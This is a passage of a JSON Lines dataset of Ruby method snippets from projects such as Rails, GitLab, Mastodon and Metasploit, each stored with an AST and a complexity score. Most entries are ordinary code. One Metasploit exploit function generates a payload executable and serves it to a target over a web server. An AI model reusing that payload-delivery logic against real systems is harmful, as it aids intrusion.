end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"version_control\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_git\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pretend\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"run\",{\"type\":\"send\",\"children\":[null,\"git_init_command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"capture\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quiet\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"abort_on_failure\"]},{\"type\":\"false\",\"children\":[]}]}]}]},null]}]}","id":"7b7af66f-d998-437a-92f2-de2f0613994d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/openssl_heartbeat_client_memory.rb","start_line":53,"raw_source":"def setup\n    super\n    @state = {}\n    @cert_key = OpenSSL::PKey::RSA.new(1024) {} if negotiate_tls?\n  end","complexity_score":6.63,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@state\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"negotiate_tls?\"]},{\"type\":\"ivasgn\",\"children\":[\"@cert_key\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"PKey\"]},\"RSA\"]},\"new\",{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"args\",\"children\":[]},null]}]},null]}]}]}","id":"dff3f9c8-5c5c-475c-9d4c-e20e3784462c"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/redirect_test.rb","start_line":399,"raw_source":"def test_safe_redirect_back_from_other_host\n    @request.env[\"HTTP_REFERER\"] = \"http://another.host/coming/from\"\n    get :safe_redirect_back_with_status\n\n    assert_response 307\n    assert_equal \"http://test.host/things/stuff\", redirect_to_url\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_safe_redirect_back_from_other_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"HTTP_REFERER\"]},{\"type\":\"str\",\"children\":[\"http://another.host/coming/from\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"safe_redirect_back_with_status\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"int\",\"children\":[307]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://test.host/things/stuff\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to_url\"]}]}]}]}","id":"3f7ed942-5183-4800-8876-5c5212591d01"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/module_command_dispatcher.rb","start_line":38,"raw_source":"def check_progress\n    return 0 unless @range_done and @range_count\n    pct = (@range_done / @range_count.to_f) * 100\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check_progress\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@range_done\"]},{\"type\":\"ivar\",\"children\":[\"@range_count\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pct\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@range_done\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@range_count\"]},\"to_f\"]}]}]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]}]}]}","id":"40282d00-e39e-4898-86e0-2dd332b9b5f2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file.rb","start_line":406,"raw_source":"def diffable_text?\n        !too_large? && diffable? && text? && !whitespace_only?\n      end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"diffable_text?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"too_large?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"diffable?\"]}]},{\"type\":\"send\",\"children\":[null,\"text?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whitespace_only?\"]},\"!\"]}]}]}","id":"013a398e-9361-4eb7-ad67-c2003b930630"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/bassmaster_js_injection.rb","start_line":140,"raw_source":"def start_http_server\n    @pl = generate_payload_exe\n    @elf_sent = false\n    downfile = rand_text_alpha(8 + rand(8))\n    resource_uri = \"\\\\x2f#{downfile}\"\n    if (datastore['SRVHOST'] == \"0.0.0.0\" or datastore['SRVHOST'] == \"::\")\n      srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)\n    else\n      srv_host = datastore['SRVHOST']\n    end\n\n    @service_url = \"http:\\\\x2f\\\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}\"\n    service_url_payload = srv_host + resource_uri\n    print_status(\"#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...\")\n    start_service({\n      'Uri' => {\n        'Proc' => Proc.new { |cli, req|\n          on_request_uri(cli, req)\n        },\n        'Path' => resource_uri\n      },\n      'ssl' => false # do not use SSL\n    })\n\n    connect\n  end","complexity_score":44.35,"ast_json":"{\"type\":\"def\",\"children\":[\"start_http_server\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pl\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@elf_sent\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"downfile\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resource_uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\x2f\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"downfile\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"::\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"srv_host\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIHOST\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[null,\"rhost\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"srv_host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@service_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http:\\\\x2f\\\\x2f\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"srv_host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"service_url_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"srv_host\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"resource_uri\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Starting up our web service on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@service_url\"]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"start_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Proc\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"send\",\"children\":[null,\"on_request_uri\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Path\"]},{\"type\":\"lvar\",\"children\":[\"resource_uri\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ssl\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]}]}]}","id":"47ca9b6c-753f-48d4-abcb-39d65c3e67df"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/stories/feeds_controller.rb","start_line":143,"raw_source":"def relevant_following_feed\n      activity = current_user.user_activity\n      user_ids = activity&.alltime_users || current_user.cached_following_users_ids\n      organization_ids = activity&.alltime_organizations || current_user.cached_following_organizations_ids\n      left_scope  = Article.published.from_subforem.where(user_id: user_ids)\n      right_scope = Article.published.from_subforem.where(organization_id: organization_ids)\n\n      @articles = left_scope\n        .or(right_scope)\n        .where(\"score > -10\")\n        .order(\"hotness_score DESC\")\n        .page(@page)\n        .per(25)\n    end","complexity_score":31.7,"ast_json":"{\"type\":\"def\",\"children\":[\"relevant_following_feed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"activity\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"user_activity\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user_ids\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"alltime_users\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"cached_following_users_ids\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"organization_ids\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity\"]},\"alltime_organizations\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"cached_following_organizations_ids\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"left_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"published\"]},\"from_subforem\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"right_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"published\"]},\"from_subforem\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"lvar\",\"children\":[\"organization_ids\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@articles\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_scope\"]},\"or\",{\"type\":\"lvar\",\"children\":[\"right_scope\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"score > -10\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"hotness_score DESC\"]}]},\"page\",{\"type\":\"ivar\",\"children\":[\"@page\"]}]},\"per\",{\"type\":\"int\",\"children\":[25]}]}]}]}]}","id":"ff073ae7-7c03-4052-acda-3f317448aa38"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_settings_helper.rb","start_line":660,"raw_source":"def runner_token_expiration_interval_attributes\n    {\n      instance_runner_token_expiration_interval: @application_setting.runner_token_expiration_interval,\n      group_runner_token_expiration_interval: @application_setting.group_runner_token_expiration_interval,\n      project_runner_token_expiration_interval: @application_setting.project_runner_token_expiration_interval\n    }\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"runner_token_expiration_interval_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_runner_token_expiration_interval\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@application_setting\"]},\"runner_token_expiration_interval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_runner_token_expiration_interval\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@application_setting\"]},\"group_runner_token_expiration_interval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_runner_token_expiration_interval\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@application_setting\"]},\"project_runner_token_expiration_interval\"]}]}]}]}","id":"f6ae2ca5-679a-4378-b413-4afdc5cbe49d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/service_template_spec.rb","start_line":1165,"raw_source":"def add_and_save_service(p, c)\n  p.add_resource(c)\n  p.service_resources.each(&:save)\nend","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_and_save_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]},{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"add_resource\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"service_resources\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"save\"]}]}]}]}]}","id":"24f089f9-63ec-432a-ba00-26812cd8b69c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/expireable.rb","start_line":9,"raw_source":"def expires_in\n      return @expires_in if defined?(@expires_in)\n\n      if expires_at.nil?\n        nil\n      else\n        (expires_at - created_at).to_i\n      end\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"expires_in\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@expires_in\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@expires_in\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expires_at\"]},\"nil?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expires_at\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"created_at\"]}]}]},\"to_i\"]}]}]}]}","id":"dd04fc68-1e06-44d2-aa9c-f8fcbf9b4d3a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/generators/manageiq/plugin/plugin_generator.rb","start_line":161,"raw_source":"def ui_classic_package_json_path\n      ManageIQ::UI::Classic::Engine.root.join(\"package.json\")\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ui_classic_package_json_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"UI\"]},\"Classic\"]},\"Engine\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"package.json\"]}]}]}","id":"5c87edf5-daa2-4a2f-9692-22c1a49a0e1d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/persistence_test.rb","start_line":1707,"raw_source":"def test_model_with_no_auto_populated_fields_still_returns_primary_key_after_insert\n    record = PkAutopopulatedByATriggerRecord.create\n\n    assert_not_nil record.id\n    assert record.id > 0\n  end if supports_insert_returning? && !current_adapter?(:SQLite3Adapter)","complexity_score":5.5,"ast_json":"{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_insert_returning?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"SQLite3Adapter\"]}]},\"!\"]}]},{\"type\":\"def\",\"children\":[\"test_model_with_no_auto_populated_fields_still_returns_primary_key_after_insert\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PkAutopopulatedByATriggerRecord\"]},\"create\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"id\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},null]}","id":"a7323db6-2b3e-4523-a120-d00a82dd5dbf"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/range_test.rb","start_line":601,"raw_source":"def insert_range(values)\n      @connection.execute <<~SQL\n        INSERT INTO postgresql_ranges (\n          id,\n          date_range,\n          num_range,\n          ts_range,\n          tstz_range,\n          int4_range,\n          int8_range,\n          float_range\n        ) VALUES (\n          #{values[:id]},\n          '#{values[:date_range]}',\n          '#{values[:num_range]}',\n          '#{values[:ts_range]}',\n          '#{values[:tstz_range]}',\n          '#{values[:int4_range]}',\n          '#{values[:int8_range]}',\n          '#{values[:float_range]}'\n        )\n      SQL\n    end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO postgresql_ranges (\\n\"]},{\"type\":\"str\",\"children\":[\"  id,\\n\"]},{\"type\":\"str\",\"children\":[\"  date_range,\\n\"]},{\"type\":\"str\",\"children\":[\"  num_range,\\n\"]},{\"type\":\"str\",\"children\":[\"  ts_range,\\n\"]},{\"type\":\"str\",\"children\":[\"  tstz_range,\\n\"]},{\"type\":\"str\",\"children\":[\"  int4_range,\\n\"]},{\"type\":\"str\",\"children\":[\"  int8_range,\\n\"]},{\"type\":\"str\",\"children\":[\"  float_range\\n\"]},{\"type\":\"str\",\"children\":[\") VALUES (\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\",\\n\"]},{\"type\":\"str\",\"children\":[\"  '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"date_range\"]}]}]},{\"type\":\"str\",\"children\":[\"',\\n\"]},{\"type\":\"str\",\"children\":[\"  '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"num_range\"]}]}]},{\"type\":\"str\",\"children\":[\"',\\n\"]},{\"type\":\"str\",\"children\":[\"  '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ts_range\"]}]}]},{\"type\":\"str\",\"children\":[\"',\\n\"]},{\"type\":\"str\",\"children\":[\"  '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tstz_range\"]}]}]},{\"type\":\"str\",\"children\":[\"',\\n\"]},{\"type\":\"str\",\"children\":[\"  '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"int4_range\"]}]}]},{\"type\":\"str\",\"children\":[\"',\\n\"]},{\"type\":\"str\",\"children\":[\"  '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"int8_range\"]}]}]},{\"type\":\"str\",\"children\":[\"',\\n\"]},{\"type\":\"str\",\"children\":[\"  '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"float_range\"]}]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]}]}","id":"6ce91f10-6788-43aa-a54f-8c763b599e3d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":190,"raw_source":"def test_array_options_for_select_with_custom_defined_selected\n    assert_dom_equal(\n      \"<option selected=\\\"selected\\\" type=\\\"Coach\\\" value=\\\"1\\\">Richard Bandler</option>\\n<option type=\\\"Coachee\\\" value=\\\"1\\\">Richard Bandler</option>\",\n      options_for_select([\n        [\"Richard Bandler\", 1, { type: \"Coach\", selected: \"selected\" }],\n        [\"Richard Bandler\", 1, { type: \"Coachee\" }]\n      ])\n    )\n  end","complexity_score":2.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_array_options_for_select_with_custom_defined_selected\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<option selected=\\\"selected\\\" type=\\\"Coach\\\" value=\\\"1\\\">Richard Bandler</option>\\n<option type=\\\"Coachee\\\" value=\\\"1\\\">Richard Bandler</option>\"]},{\"type\":\"send\",\"children\":[null,\"options_for_select\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Richard Bandler\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Coach\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"selected\"]},{\"type\":\"str\",\"children\":[\"selected\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Richard Bandler\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Coachee\"]}]}]}]}]}]}]}]}","id":"ed32363f-cc90-4199-a24b-a5a4ff7fadb9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":335,"raw_source":"def test_delete_all_on_association_with_nil_dependency_is_the_same_as_not_loaded\n    author = authors :david\n    author.posts.create!(title: \"test\", body: \"body\")\n    author.reload\n    expected_sql = capture_sql { author.posts.delete_all }\n\n    author.posts.create!(title: \"test\", body: \"body\")\n    author.reload\n    author.posts.to_a\n    loaded_sql = capture_sql { author.posts.delete_all }\n    assert_equal(expected_sql, loaded_sql)\n  end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_delete_all_on_association_with_nil_dependency_is_the_same_as_not_loaded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"posts\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"test\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"body\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"reload\"]},{\"type\":\"lvasgn\",\"children\":[\"expected_sql\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"posts\"]},\"delete_all\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"posts\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"test\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"body\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"reload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"posts\"]},\"to_a\"]},{\"type\":\"lvasgn\",\"children\":[\"loaded_sql\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"posts\"]},\"delete_all\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_sql\"]},{\"type\":\"lvar\",\"children\":[\"loaded_sql\"]}]}]}]}","id":"85efb9b1-c181-46fe-8d67-fac1d84d0961"}
